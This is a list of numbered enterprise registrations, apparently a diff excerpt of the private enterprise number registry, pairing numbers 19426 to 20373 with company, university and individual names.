+19426 ESDG Konsult AB
+19427 The Excel Ortho Group
+19428 NovAG-Services Ltd.
+19429 Alphawave Ltd
+19430 NET-2COM Ltd.
+19431 JSC Kordon
+19432 Virulent Software
+19433 Austin Independent School District
+19434 Concepts et contenus
+19435 Hectec GmbH
+19436 Concordia University
+19437 European School of Management and Technology GmbH
+19438 Broadweave Networks
+19439 Kingstar&winning Medical Info-Tech Co.,Ltd.
+19440 IAD GENERAL CO.,LTD
+19441 Toroki, Inc.
+19442 PHANTOM
+19443 EGATEL S.L.
+19444 Metaswitch Networks Ltd (formerly 'Data Connection Ltd')
+19445 Calltech Sp. z o.o.
+19446 Cable One
+19447 Swift and Company
+19448 zending
+19449 Systinet Corp.
+19450 NetShift Software Ltd
+19451 NextG Networks, Inc.
+19452 BeiJing NuQX Technology CO.,LTD
+19453 Ufinity Pte. Ltd.
+19454 Airspan Networks Inc.
+19455 Marks & Spencer PLC
+19456 Prediwave, Inc
+19457 Platinum Equity, LLC
+19458 Application Security, Inc.
+19459 RF Applications, Inc.
+19460 Sycamore.US
+19461 Cendant Mortgage Corporation
+19462 Roberto Capancioni
+19463 Division of Johns Hopkins in Singapore Limited
+19464 Hitachi Communication Technologies, Ltd.
+19465 Franziska Buendgens
+19466 PND1
+19467 GeekBone.org
+19468 Ishihata industry
+19469 Highnet Systems Ltd.
+19470 Highnet Systems Ltd.
+19471 Secgo Group Oy
+19472 Staer Sistemi s.r.l.
+19473 North American Electric Reliabiity Corporation
+19474 CRL
+19475 Confederação Interestadual das Cooperativas Ligadas ao Sicredi - Sicredi Servicos
+19476 Highwall Technologies, LLC
+19477 Infocaja, S.L.
+19478 Rapidpacket
+19479 KeyOn Communications, LLC
+19480 litica.de - Hermann & Matejek GbR
+19481 BluePig
+19482 Waldmann
+19483 Aqua Systems, Inc.
+19484 BANCO DE ESPAÑA
+19485 art of object GmbH
+19486 Venali Inc
+19487 Lucent Technologies, Mobility IN
+19488 Toadico, Inc
+19489 IP3 Networks, Inc.
+19490 Hiper S.A.
+19491 Epeople Soluções S/C LTDA
+19492 ADDC Infotech GmbH
+19493 iMEDIC GmbH
+19494 Richard Schilling, MBA
+19495 National Informatics Company
+19496 Cognition Group, Inc.
+19497 OSS Application Consulting Centre, Taiwan
+19498 HMJ - Projets Délocalisés
+19499 Association Inforoots
+19500 Government Information Technology Services
+19501 Trust Investment Bank, JSB
+19502 QORVUS Systems, Inc.
+19503 Lockdown Networks, Inc.
+19504 Mullen
+19505 verzeichnisdienst
+19506 Christian Jahn
+19507 haroldbeumer.com
+19508 The Software Guild, Inc.
+19509 Trident Microsystem INC
+19510 Center for Excellence in Telecommunications and Space
+19511 Larry Burton
+19512 SAHM Technologies LLC
+19513 C3 Desenvolvimento de Sistemas Computacionais Ltd.
+19514 On Demand Systems Limited Partnership
+19515 TREND Service GmbH
+19516 Universitaet Erfurt
+19517 Colibria AS
+19518 Technische Universität München
+19519 E.Novation Portal Technology B.V.
+19520 Samartha Information Systems Pty. Ltd.
+19521 dataschalt e+a GmbH
+19522 Aineas.net
+19523 Sequence Solutions
+19524 Rational Innovations
+19525 Tippecanoe County Public Library
+19526 BlueBoxStudio.net
+19527 Global Technology Ltd
+19528 Meson Fiber Optics
+19529 NetStrong Information Ltd.
+19530 NetMaster Ltd.
+19531 INSA de Rennes
+19532 businessMart AG
+19533 TeleMessage Ltd.
+19534 Gorenjska banka d.d. Kranj
+19535 ACNMS
+19536 Panduit Corp.
+19537 M5 Networks, Inc.
+19538 Add2Net, Inc.
+19539 Country Haven Academy
+19540 NCS Consulting Inc.
+19541 Belgorodenergo
+19542 Aalborg University Library
+19543 Wellcome Trust Sanger Institute
+19544 Weather Strategies
+19545 Sony CISC
+19546 MELENTANE
+19547 Oplink Communications, Inc.
+19548 FROX communication
+19549 Uni-Q Systems (formerly 'ENGREN.NET')
+19550 an Academic Network at Sao Paulo (ANSP)
+19551 Thales Naval France
+19552 Alexander Kowalski
+19553 Beijing Gtt Telecom Technologies Co.Ltd
+19554 PIPPKRO
+19555 Engim Inc
+19556 NextJet Technologies
+19557 Frank Holtz
+19558 StoneHole
+19559 Zones Inc
+19560 Informationssicherheit Christian Scheucher
+19561 Maxim Integrated Products, Inc.
+19562 Telena Communication
+19563 Center for Imaging Research
+19564 GOLUM
+19565 Escape Communications, Inc.
+19566 C-Scape Consulting Corp.
+19567 ScienceLogic LLC
+19568 Global Gate Systems LLC.
+19569 Grid Research Lab
+19570 frottage.org
+19571 Micromatic Tecnologia e Sistemas Ltda
+19572 ecnuee
+19573 Adeptiva
+19574 Network Gulf Information Technology
+19575 Sansay Inc.
+19576 Slovanet a.s.
+19577 ACE electronics N.V.
+19578 IPConsulting AG
+19579 Info Point
+19580 RZF Rechenzentrum der Finanzverwaltung des Landes NRW
+19581 TTC Telecom Ltd.
+19582 Pixelpark AG
+19583 Wayfarer Transit Systems Ltd.
+19584 headissue GmbH
+19585 Laboranowitsch
+19586 ICAN (International Communications and Navigation Ltd.)
+19587 Adtec Digital, Inc.
+19588 Tecnologia Bancaria SA
+19589 Business Link Kent Ltd
+19590 Systems Solution, Inc.
+19591 Oral Roberts University
+19592 Prince Law Offices, P.C.
+19593 Nerim
+19594 MediaCell, Inc.
+19595 Alcatel Shanghai Bell Co. Ltd.
+19596 nhnghia
+19597 Capnova Oy
+19598 ianet
+19599 GeniusBytes Software Solutions GmbH
+19600 CTA Systemsource Inc.
+19601 RGB Networks, Inc.
+19602 Custom IdM Solutions
+19603 dezcom
+19604 Secure Network Systems, LLC
+19605 Starview Technology Inc
+19606 Nienschanz Ltd.
+19607 Argelcom Limited
+19608 Astea International Inc.
+19609 Zytec
+19610 BaseN Oy
+19611 trustsec IT solutions GmbH
+19612 Wyncote.net
+19613 Willing Minds LLC
+19614 Business Port Systems Inc.
+19615 FCS India (Pvt) Ltd.
+19616 InterCard AG
+19617 Taglicht.Com Sàrl
+19618 Return Data
+19619 Go Net
+19620 NETDEVICES INC.
+19621 alibaba
+19622 Shenzhen Union Broadband Communication Co., Ltd.
+19623 is:energy czech a.s.
+19624 MANDA
+19625 Unilever PLC
+19626 Permabit, Inc.
+19627 NTPL
+19628 webslingerZ, Inc.
+19629 University of Cincinnati
+19630 Alopa Networks Inc.
+19631 eDial Inc.
+19632 Rygo Technical Enterprises
+19633 BOFH Networks Oy
+19634 THALIX
+19635 Prager, Sealy & Co. LLC
+19636 SolNet Data Service
+19637 Oakmoon Consulting, Inc.
+19638 University of Texas at Arlington
+19639 Teztech, Inc.
+19640 Automated Marketing Solutions Inc.
+19641 Holley Communications Group
+19642 East Alabama Medical Center
+19643 Yipes Enterprise Services Inc.
+19644 Polaris Wireless Inc.
+19645 Sioux Medical Systems B.V.
+19646 Computing Edge, Inc.
+19647 Frederiksborg Amt
+19648 TransCore
+19649 ERP-HQ Inc.
+19650 etilize Inc.
+19651 Seven-Star Inc.
+19652 National Chi Nan University, Taiwan
+19653 Integral Technology Solutions Pty Ltd
+19654 Infoteria Corporation
+19655 University of Zululand
+19656 dreamtel
+19657 PlewsNet
+19658 Macro-System
+19659 Paradigit Computers B.V.
+19660 CRO24 GmbH
+19661 Gleiss Lutz
+19662 Telenor AB
+19663 Secure-Group AS
+19664 gr3 a/s
+19665 Grazer Wechselseitige Versicherung AG
+19666 Alcatel Suomi Oy
+19667 Dr. Ing. h.c. F. Porsche AG
+19668 A.S. Reiiseveranstaltungs GmbH
+19669 aserva GmbH (formerly 'newthinking IT, Inhaber Alexander Scheibner')
+19670 IT University of Copenhagen
+19671 DMDsecure.com BV
+19672 Gratisavisa Stimuli
+19673 ByteHoard
+19674 Catalis Health, Inc.
+19675 Lixto Software GmbH
+19676 University of Houston
+19677 Unassigned
+19678 Relinace Infocomm
+19679 Prusch
+19680 Dembach Goo Informatik GmbH
+19681 vitadurum ag
+19682 Balo n Co
+19683 WelLink.,Ltd
+19684 Town & Country Credit Corp.
+19685 Virginia Dept. of Social Services
+19686 net-concept
+19687 Indicative Software, Inc
+19688 Cargo IT AG
+19689 Evolta B.V.
+19690 Line4, Inc.
+19691 eProcess Burkina
+19692 Hoppe Dialog GmbH
+19693 University of California Santa Cruz (UCSC)
+19694 Enterprise Management Shareware
+19695 projektfarm GmbH
+19696 Cherrypicks
+19697 May10 Technology Inc.
+19698 Information Technology Services Department
+19699 System Detection, Inc.
+19700 Traqueur SA
+19701 Mars Computer Systems Sp. J.
+19702 BSZ Leonberg
+19703 Agence de l'Eau Seine Normandie
+19704 NetFocus S.R.L
+19705 Citto Tecnologia LTDA
+19706 BBned NV
+19707 Micran Ltd.
+19708 Brain BroadCast sas
+19709 TexRamp, Inc.
+19710 Bitbuzz Ltd
+19711 scaryclowns.org
+19712 WebSolve, Inc.
+19713 Elfiq Inc.
+19714 Logic Development
+19715 LinkAir Communications, Inc.
+19716 Ars Lumina, Inc.
+19717 Greatmark
+19718 Motorola Israel Ltd. - NSA
+19719 QuaQuaNet
+19720 Westmarsh Consulting Ltd
+19721 BlazeArts Ltd. services.hu network
+19722 CONYSER Consulting y Servicios S.L.
+19723 Broadbus Technologies, Inc.
+19724 DigiDyne Inc.
+19725 D. Trust Certifikacna Autorita, a.s.
+19726 Clinical Reference Laboratory, Inc.
+19727 Shylex Telecomunicaciones, S.L.
+19728 Techno-Toolsmiths
+19729 SOFTREK CORPORATION
+19730 Logic Etc, Inc.
+19731 Sinaptica Networks
+19732 dragonsdawn.net
+19733 HUB Consulting, Inc.
+19734 RAYCOM Co.,LTD.
+19735 OGA SynCom Co..,LTD
+19736 i-RAID
+19737 Kyneste S.p.A.
+19738 Campana
+19739 UZorg B.V.
+19740 Institut de Mathématiques et de Sciences Physiques/Université d'Abomey-Calavi
+19741 Residential Technology, Incorporated
+19742 Kazeon Systems, Inc
+19743 jpwebworks Pty Ltd
+19744 Novacoast, Inc.
+19745 netz.ooo (formerly 'Dataflake Weblications')
+19746 Data Domain, Inc
+19747 The Open and Free Technology Community
+19748 Affiliated Computer Services, Inc. TripPak SERVICES
+19749 CISNS
+19750 Beijing YTT Telecom Technologies Co.,Ltd
+19751 NOTE Torsby AB
+19752 AIS, Aplicaciones de Inteligencia Artificial, S.A.
+19753 Inexbee
+19754 ESG Elektroniksystem- und Logistik-GmbH
+19755 Pera International Ltd
+19756 Schwabing Software
+19757 Iontas
+19758 Hafsjold Data ApS
+19759 Compunetix, Inc
+19760 Leon County Schools
+19761 Gordon Aluminum Industries, Inc.
+19762 Caminos y Canales Ltd.
+19763 Branch Banking and Trust Corporation
+19764 Infinite Gravity Digital Media Ltd.
+19765 Systems Engineering Associates, Inc.
+19766 Wuhan University of Technology
+19767 Cooperativa Novanta s.c.r.l.
+19768 Skybox Security Ltd.
+19769 JLCX Inc
+19770 SelfSigned.com
+19771 IBM, Tivoli Provisioning and Orchestration
+19772 Mobile Wisdom, Inc.
+19773 New-Global Corporation
+19774 mBlox, Inc.
+19775 IPG Photonics Corporation
+19776 TI Paperco Inc.
+19777 Taylor University
+19778 LinguaNet
+19779 BOBEK
+19780 Claridion Inc.
+19781 Odys-solutions
+19782 AEGEE-Utrecht
+19783 NorthLANs Alliance, LLC
+19784 Little Box Solutions Inc.
+19785 Grand Central Communications
+19786 Esteban Pizzini
+19787 Ayub Yaqub
+19788 LDT Communication Technology CO. LTD
+19789 Sheard and Company Pty Limited
+19790 INSE7120 conU
+19791 MW EDV-Beratung
+19792 Forte IT
+19793 firstServed NV
+19794 IP Security Consulting
+19795 AssetHouse Technology Ltd
+19796 Jostens Inc
+19797 sourceheads Information Technology GmbH (formerly 'Stefan Fiedler KEG')
+19798 FBIS
+19799 Jeremy McMillan
+19800 Derek Balling
+19801 PineApp Ltd.
+19802 Atlanta Business Software, Inc.
+19803 EC Telecom
+19804 The Norns Laboratories
+19805 idiotwind.org
+19806 SportOdds Systems Pty Limited
+19807 AlarmsPro Inc.
+19808 Open Cloud Ltd.
+19809 GOUDRON S.A.R.L.
+19810 R Brooks Associates, Inc.
+19811 WildOne Information Systems
+19812 Hsiuping Institute of Technology
+19813 Systems International
+19814 Duosoft Inc
+19815 Getronics Solutions Malaysia
+19816 Philips Medizin Systeme Boeblingen GmbH
+19817 Soluzioni Informatiche s.r.l.
+19818 KIABI
+19819 Informatik Club der Universität Zürich - ICU
+19820 Prival ODC, Inc.
+19821 Bridgeport Networks
+19822 Bossers & Cnossen BV
+19823 Castle Building Centres Group Ltd.
+19824 teleganov.net
+19825 Kisslinger EDV-Beratung
+19826 Institut Teknologi Bandung (ITB)
+19827 N2N Consulting Pte Ltd
+19828 LBCN Communication Technology Co.,LTD.
+19829 BITSTREAM
+19830 VDL SA
+19831 IRT Institut fuer Rundfunktechnik GmbH
+19832 Rostrvm Solutions Ltd
+19833 Team17 Software Ltd.
+19834 Bulldog Communications Ltd
+19835 Excibir Ltd.
+19836 Qwest QNMS
+19837 USPFO for CA
+19838 Univits International AB
+19839 Synthean Inc.
+19840 Avalon Networks Inc.
+19841 Public Communications Services, Inc.
+19842 Pantel Service & Holding GmbH
+19843 anarcho.com
+19844 MOBIGEN Co., Ltd.
+19845 Solenovo Oy
+19846 DDI POCKET,Inc
+19847 KU Communication Technology Co.,LTD
+19848 University of Bologna
+19849 NSFOCUS Ltd.
+19850 Waggener Edstrom
+19851 Telnet ISG
+19852 Southern Utah University
+19853 aapala.com
+19854 UCLA EE AINS LAB
+19855 AIS Management GmbH
+19856 Mobile TeleSystems OJSC, Komi Republic
+19857 Kuban-GSM CJSC
+19858 IPC Media Limited
+19859 CGSS Guyane
+19860 CGS Corporate Group Service Ltd
+19861 Wake Forest University
+19862 Motivity Telecom Inc.
+19863 Tippett Studio
+19864 Jostens Inc
+19865 NEOMONTANA ELECTRONIS
+19866 Edouard Boissonneault
+19867 digitec GmbH
+19868 Krafty Creations, Inc.
+19869 Beagle Internet Pty Ltd
+19870 The dot.GOD Registry, Limited
+19871 AG Consulting, LLP.
+19872 TVEngineer.org
+19873 MarsolsNet Inc.
+19874 Distributel Communications Ltd.
+19875 hutuworm.org Inc.
+19876 USE
+19877 Nuernberger Versicherungsgruppe
+19878 ITNet S.p.a.
+19879 Makedonski Telekomunikacii, MTnet
+19880 Conarcom C.A. Sirena
+19881 AEGEE-Europe
+19882 Radius., Ltd
+19883 Meta4 Spain S.A.
+19884 Ontier
+19885 Navimedix Inc.
+19886 Corio, inc
+19887 California School Information Services
+19888 The Tarc Group
+19889 AppTrigger
+19890 Global Interactive Technology Pte Ltd
+19891 bay. Innenministerium (Verfassungsschutz)
+19892 HONKO MFG.co.,ltd.
+19893 Brighton Consulting Inc.
+19894 CubeRoot
+19895 Heolys France SARL
+19896 udayan kumar
+19897 IUT FOTSO Victor de Bandjoun, Université de Dschang
+19898 LT Systems LLC
+19899 Thinking Systems Corporation
+19900 Advanced RF Technologies, Inc.
+19901 Atkinson, Inglis & Associates
+19902 University of Texas Pan American
+19903 Jharding
+19904 Sage Technology Ltd.
+19905 Beijing YTT Telecom Technologies Co.,Ltd
+19906 Europacom.net Ltd
+19907 Alpha Oil Ltd.
+19908 Alcopack Group
+19909 PadzNet, Inc.
+19910 DirecTrust
+19911 Global Velocity Inc.
+19912 Phatline
+19913 murphx Innovative Solutions Ltd
+19914 Optus SingTel Pty Ltd.
+19915 BeiJing Gefon Network Technology Ltd.
+19916 Fundación ESADE
+19917 Sungard Finance
+19918 Phoenix IT Services
+19919 IPL Information Processing Ltd
+19920 PREVX Ltd.
+19921 Gross
+19922 Iowa State University
+19923 ei3 Corporation
+19924 Mirror Image Internet
+19925 Triadigm Technology
+19926 Feith Systems and Software, Inc.
+19927 Escherware b.v.
+19928 Linuxlab Ltd.
+19929 4X Information Technology GmbH
+19930 SalesCatalysts.com Ltd.
+19931 BluntSoft Ltd.
+19932 MITTS Ltd.
+19933 University of Tasmania
+19934 Key Business Services
+19935 Allnet GmbH
+19936 Philip Morris International Management SA
+19937 Cogent Innovators, LLC
+19938 OU College of Continuing Education
+19939 AWARM.NET, Ltd.
+19940 broadreach systems
+19941 Lind-Waldock
+19942 Jumbo Corporation
+19943 D2D Cars
+19944 Sunwest Computers Ltd.
+19945 Abilitec Limited
+19946 ITS Pub
+19947 W-IE-NE-R Power Electronics GmbH
+19948 OOO Maxidom
+19949 Bellmonte
+19950 Sveriges Television AB (SVT)
+19951 AREA
+19952 Message Systems, Inc.
+19953 Ironworks Consulting, LLC
+19954 CenterBoard Inc
+19955 Tenebris Technologies Inc.
+19956 Kabissa Inc.
+19957 Aurora Network Operations Management Services
+19958 nex-G Systems Pte. Ltd.
+19959 Lund University
+19960 SER Storage Technology GmbH
+19961 Central Research Institute for Machine Building
+19962 Netservers Ltd.
+19963 Enigma Software Corporation
+19964 TRIBUNAL REGIONAL DO TRABALHO DA 22A. REGIÃO
+19965 Spotwave Wireless, Inc.
+19966 Telexy Corp.
+19967 Meta Consulting
+19968 Network Intelligence Corporation
+19969 Klamath Networks Corp.
+19970 Clever Machine, Inc.
+19971 Tripleplay Services Ltd.
+19972 David Nesting
+19973 Vader Logic, LLC
+19974 Estonian Educational and Research Network
+19975 ICTeam S.p.A.
+19976 Alberti Holdings Pty. Ltd.
+19977 Theta Networks, Inc.
+19978 o2 (Germany) GmbH & Co. OHG
+19979 INPES
+19980 ---none---
+19981 Venetica
+19982 Cap Gemini Norway
+19983 Cu-nes
+19984 Pittsburg State University
+19985 Vigoment Software Inc.
+19986 void solutions
+19987 Anerist
+19988 Rezel
+19989 Netlanta.com
+19990 NetTeem, LLC
+19991 Beijing Zhengyou Networks&Communication Technology Co.,Ltd.
+19992 Ericsson, Inc.
+19993 S2 Systems, Inc.
+19994 Shanghai Withub General Technology Co.,Ltd.
+19995 SPES S.r.l.
+19996 SwissQual AG
+19997 4D Technology (llc)
+19998 Netspecs B.V.
+19999 eEpoch
+20000 Ing. Büro Ziegler
+20001 Ukraine Trust Network
+20002 RZNet AG
+20003 PTK Centertel sp z o. o.
+20004 HEUFT SYSTEMTECHNIK GMBH
+20005 Air Products and Chemicals, Inc.
+20006 Nagios
+20007 Kenati Technologies Inc.
+20008 Toshiba Electronics Europe GmbH
+20009 Beaver Creek Cooperative Telephone Company
+20010 reuter network consulting
+20011 System Business Consulting
+20012 QinetiQ Ltd
+20013 Vanguard Integity Professionals
+20014 Fernandez Industries Incorporated
+20015 Ville d'Yverdon
+20016 Mountain Top Applied Solutions, Inc.
+20017 Dansk Netcenter APS
+20018 River City Software Associates, Ltd.
+20019 Antarctica Networks Ltd.
+20020 Pacific Wave Solutions, Incorporated
+20021 Boswell Online B.V.
+20022 TETCO TECHNOLOGIES SA
+20023 Rezel
+20024 Proxyconn, Inc.
+20025 Compusaurus Bt.
+20026 RedeNetwork.com
+20027 TDK-LAMBDA Corporation
+20028 Line-tec, Inc.
+20029 Mortara Instrument, Inc.
+20030 ValidSoft Ltd
+20031 Qnamic AG
+20032 KISTER
+20033 Dicr
+20034 rjcdb.com
+20035 Alexander Kellmann
+20036 Advanced Control Technology, Inc.
+20037 HISL Limited
+20038 LithiumCorp Pty Ltd
+20039 Shanghai Communications Technologies Center
+20040 GUMC
+20041 INGENION GmbH
+20042 Hitel Italia S.p.A.
+20043 Grupo 3A Recoletas
+20044 Ekinops SAS
+20045 Corporate Express Promotional Marketing
+20046 Pilgerer e.V
+20047 theglobe.com
+20048 Internet Broadcasting Systems
+20049 GnuArch
+20050 Western United Insurance
+20051 GlobalSkyVault
+20052 Intesa Sanpaolo S.p.A.
+20053 I.NET2 S.r.l.
+20054 Statistisches Bundesamt
+20055 FRANCE2
+20056 ASC Program
+20057 Lumenos, Inc.
+20058 Aramiska
+20059 Acsera Corporation
+20060 Pacific University
+20061 Seacoast Synergy, Inc.
+20062 University of Crete - Faculty of Medicine
+20063 vandalsWeb.com
+20064 Tohoku Intelligent Telecommunication Co.,Inc.
+20065 Omega Consult Inc.
+20066 Entheos Software
+20067 Karlstad University
+20068 Artinfor
+20069 JDG Trading(Pty Ltd.)
+20070 Telecom Italia S.p.A.
+20071 Electronic Formations
+20072 IWKA InformationsSysteme GmbH
+20073 Abundance Networks, LLC
+20074 Freerun Technologies Inc.
+20075 Werthmoeller IT-Service
+20076 Makaera Vir 2000 Inc.
+20077 cMarket, Inc.
+20078 Escobar Enterprises
+20079 SK-TECH.net
+20080 MFD
+20081 Alanne LLC
+20082 ECE Projektmanagement
+20083 Techno Group, Inc
+20084 OnlineWeb Ltd.
+20085 HyperSpace Communications, Inc.
+20086 JRC ENGINEERING CO.,LTD.
+20087 Consultix GmbH
+20088 Renewal Enterprises, LLC
+20089 Cornerstone Consulting, LLC
+20090 AIS Automations- und Informationssysteme GmbH
+20091 SyAM Software, Inc.
+20092 Servicios de i-pro para competitividad, S.A. de C.V.
+20093 TrekLogic Inc.
+20094 Vaonet
+20095 Positron Access Solutions Corp (formerly 'Aktino, Inc.')
+20096 Image Entry, Inc.
+20097 Plope Consulting
+20098 Dave Hoebe
+20099 Impulse Internet Services
+20100 Spliced Networks LLC
+20101 Cox Enterprises
+20102 multi.mediale.net.ltd
+20103 allery.org
+20104 Digital Evergreen, Inc.
+20105 Nàh-ko's world Inc.
+20106 Center for Leadership Solutions LLC
+20107 ANIXIS
+20108 LPC Condor Technologies
+20109 Cynap Limited
+20110 MediaPlan Inc.
+20111 LEADER ELECTRONICS CORP.
+20112 SMT Electronic Technology Limited
+20113 Vecino
+20114 Systems Management Enterprises, Inc.
+20115 J'raxis
+20116 Janr
+20117 Institute of Applied Internet Technology, Inc.
+20118 KCN Tech Co., Ltd.
+20119 EuroMarknet Internet Technológiai és Tanácsadó Ltd.
+20120 VIDEOTRON Corp.
+20121 imos GmbH
+20122 mind-n
+20123 Sébastien Namèche Consulting
+20124 Cologne Systems GmbH
+20125 Vitel Software, Inc
+20126 LP Agent
+20127 TTYS0 (formerly 'Gutenpress')
+20128 SKH TKO Kei Tak Primary School
+20129 SOURCECORP,Inc.
+20130 Advanced Digital Systems, Inc.
+20131 Vermeer Manufacturing Company
+20132 Azonic Systems, Inc.
+20133 izac.org
+20134 Surf and Sip Inc.
+20135 Elyo Services Ltd
+20136 SCHMIEDER it-solutions GmbH
+20137 codesupply.com
+20138 Avara Technologies Pty Ltd.
+20139 Lobos, Inc.
+20140 DAVOLINK
+20141 Axis Internet
+20142 QianWang Networks Co.
+20143 Uffaq Technologies Private Ltd.
+20144 Optimo Service AG
+20145 ELVIS-PLUS
+20146 Ecutel
+20147 Internet NetOnRamp
+20148 runIT AG
+20149 Optim Ltd Int Grp
+20150 Zon Nederland N.V.
+20151 Martin-Luther-Universitaet Halle-Wittenberg
+20152 eurofunk Kappacher GmbH
+20153 ALCA INFORMATIQUE et TELECOM
+20154 Redes de Telefonía Móvil, S.A.
+20155 Winterthur Ibérica, AIE
+20156 Lowe's Companies, Inc.
+20157 High Desert Education Service District
+20158 Washburn University
+20159 Force, Incorporated
+20160 Hilton Hotels Corporation
+20161 EWE TEL GmbH
+20162 Trinity Capital Corporation
+20163 Kerna Communications Ltd.
+20164 Subrafta Industries, Inc.
+20165 NIE Corporation
+20166 DEODEO Co,.Ltd
+20167 Sonic Industries Inc.
+20168 Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH Goettingen
+20169 Urmet TLC S.p.A.
+20170 Systemlegionen
+20171 Burwood Group, Inc.
+20172 CRI Advantage
+20173 sd&m AG
+20174 Weldata bv
+20175 FOR-A Company Ltd.
+20176 Mark Rose
+20177 Chrome Cyz Co Ltd
+20178 NetShield (Pty) Ltd
+20179 RNDSoft co.,ltd
+20180 SONGHWASOFT
+20181 The Reynolds and Reynolds Company
+20182 Appmind Software AB
+20183 William G Dempsey & Associates
+20184 Montreal University
+20185 Brake Parts Inc
+20186 Panareef Pty Ltd
+20187 Gary T. Giesen
+20188 PHOENIX SOFT
+20189 Nature Care College
+20190 iCable System
+20191 Throughwave, Inc.
+20192 JK Technologies Corp.
+20193 ERZIA Technologies, SL
+20194 Volexia Ltd.
+20195 AL.systems GmbH
+20196 Rainbow Triangle, v. o. s.
+20197 St. Olaf College
+20198 Equinox Information Systems, Inc
+20199 SUSCERTE - Gobierno de la Republica Bolivariana de Venezuela
+20200 Sioss Ltd
+20201 Kinnarps AB
+20202 First Canadian Title Company Ltd.
+20203 First Canadian Title Company Ltd.
+20204 EBC
+20205 TIS Grupa d.o.o.
+20206 The Unwins Wine Group Ltd
+20207 Closed Joint Stock Company "PIOGLOBAL Services"
+20208 Latitude Technologies, Inc.
+20209 Submersion Corporation
+20210 Vigilant Privacy Corporation
+20211 Information and Telecommunications Technology Center
+20212 Q1Labs, Inc.
+20213 Rock Island Communications, Inc.
+20214 Nordic Institute for Theoretical Physics
+20215 Netkey, Inc.
+20216 more4u gbr
+20217 Polystar Instruments AB
+20218 Ajeco Oy
+20219 BSH Hausgeraete GmbH
+20220 EB Software Enk, John Weholdt
+20221 IMAGINEON oHG
+20222 PROFSOFT Sp. z o.o.
+20223 Ementor Norge AS
+20224 Institut Pasteur
+20225 Sub Service Ltd.
+20226 Cel*Star Guyana Inc.
+20227 BitPoint AG
+20228 Teleflex Incorporated
+20229 Karl Hofmann Schule Berufsbildende Schule
+20230 Luis Lewis
+20231 LDAP Technology
+20232 LocalNet Systems
+20233 Pro-G Information Security and Research Ltd.
+20234 Superlativ
+20235 LinuxForce, Inc.
+20236 China Telecom-Guangzhou Research and Development Center
+20237 PJ Velzeboer
+20238 AMBIZ, Inc.
+20239 Sterrewacht Leiden
+20240 CICA
+20241 Premiere Fernsehen GmbH & Co. KG
+20242 Stephan Ruckelshaussen
+20243 SNR S.A.
+20244 Police IT Management Agency
+20245 Deverto Systems Ltd.
+20246 Delta Electronics (Switzerland) AG (formerly 'Delta Energy Systems (Sweden) AB')
+20247 Bladiant Technologies, Inc.
+20248 Sony Computer Entertainment America, Inc.
+20249 Touchstone Systems, Inc.
+20250 GlobeRanger Corporation
+20251 BN
+20252 North American World Trade Group
+20253 iologics, Inc.
+20254 Mediatria s.r.l.
+20255 Xalted Information Systems Pvt. Ltd
+20256 Communicate Norge AS
+20257 Azienda Ospedaliera Villascassi
+20258 Sabanci University
+20259 Sandprints
+20260 MDTelecom, Inc.
+20261 EMS Wireless
+20262 Odyssey Software, Inc.
+20263 Aurisp
+20264 Muiderberg (M.H.C.)
+20265 Cambridge University Faculty of Music
+20266 OnWeb Technologies, c.a.
+20267 Days of Wonder Inc.
+20268 Chelsea Technologies Inc.
+20269 University of Yamanashi
+20270 xtendo technologies Kurt Schwedes
+20271 OpsRamp, Inc.
+20272 Creative Media GmbH
+20273 Kunsthistorisches Museum
+20274 Cyber Ware Ltd
+20275 Ex Fructu Kft.
+20276 Citadec Solutions OY
+20277 System-Net
+20278 Sakana-home.net
+20279 The Polestar Group Ltd
+20280 CERNET, China Education and Research Network
+20281 3TNet Experimental Network
+20282 Cribbins Associates
+20283 KnowGate
+20284 FAURECIA
+20285 E-work S.p.A
+20286 VirusBuster Ltd.
+20287 Katholieke Theologische Universiteit
+20288 TimeLink International GmbH
+20289 indatex GmbH
+20290 CNA INSURANCE
+20291 onTimeTek Inc.
+20292 Dept. Network Center, China University of Geosciences
+20293 Onirban Networks
+20294 Caperio AB
+20295 Euler Hermes Poland
+20296 Banco Popular
+20297 Rodos
+20298 If-Tech
+20299 Sussex Community Wireless
+20300 InsightETE
+20301 IBM eServer X
+20302 Medica
+20303 Banco Industrial e Comercial S.A.
+20304 Matrix Bancorp
+20305 DIR A/S
+20306 Kontron Transportation Austria AG (formerly 'Kapsch CarrierCom AG')
+20307 Lie-Comtel
+20308 Regent Group of Companies
+20309 CIRIL - Centre Interuniversitaire de Ressources Informatiques de Lorraine, Nancy - FRANCE
+20310 Nicotra Sistemi spa
+20311 Views On News
+20312 Semantico Limited
+20313 ix-tech
+20314 FabDouglas
+20315 OCA "OpenCallArgentina"
+20316 Qosmetrics, Inc.
+20317 Lissi Co. Ltd.
+20318 Friedrich + Lochner GmbH
+20319 University of California, San Francisco, Information Technology Services
+20320 CAE Inc
+20321 G+G Comsoft GmbH
+20322 Udo Schledorn EDV-Beratung
+20323 Success Medical Computer Co., Ltd.
+20324 Provinzial Rheinland Versicherung AG
+20325 neska Schiffahrts- und Speditionskontor GmbH
+20326 Education Nationale
+20327 Helsinki Polytechnic Stadia
+20328 Whitehead Institute for Biomedical Research
+20329 University of Maine at Farmington
+20330 WPS Health Insurance
+20331 ILTC - Instituto Doris Aragon
+20332 Bau- und Wohngenossenschaft Brachvogel
+20333 ASC System
+20334 IDS GmbH
+20335 Teknologisk Institut
+20336 N&TS spa
+20337 Arquematica
+20338 Addamark Technologies, Inc.
+20339 Daniel Kelley and Associates
+20340 Information Builders, Inc
+20341 LifeSize Communications, Inc
+20342 Agencia Marítima de Consignaciones, S.A.
+20343 Altexia
+20344 Portrait Displays, Inc.
+20345 Edgewater Computer Systems. Inc.
+20346 MetroFi, Inc.
+20347 Equinox Converged Solutions Ltd
+20348 ARCUS Software Pty Ltd
+20349 Aruba S.r.l.
+20350 Milos Malik
+20351 European Bridge-CA
+20352 UNATECH.CO.,LTD
+20353 Ebang Telecom Technologies HangZhou Co., Ltd
+20354 Plexis Computing Limited
+20355 Bundesverband der Deutschen Industrie e.V.
+20356 CONTER Control de Energía, S.A.
+20357 TINC Associates NV
+20358 Concordia College
+20359 On Command Corporation
+20360 Cronbank AG
+20361 Ecole Centrale de Nantes
+20362 Alcanet International Deutschland GmbH
+20363 Terrecablate
+20364 System Engineering International
+20365 Malam Communications LTD
+20366 DBI Technologies
+20367 Univates
+20368 Manzanita Systems
+20369 MEPHARTEC s.a.r.l
+20370 Allware LTDA.
+20371 VhaYu Technologies
+20372 Michael A Nachbaur
+20373 Coast to Coast Hosting
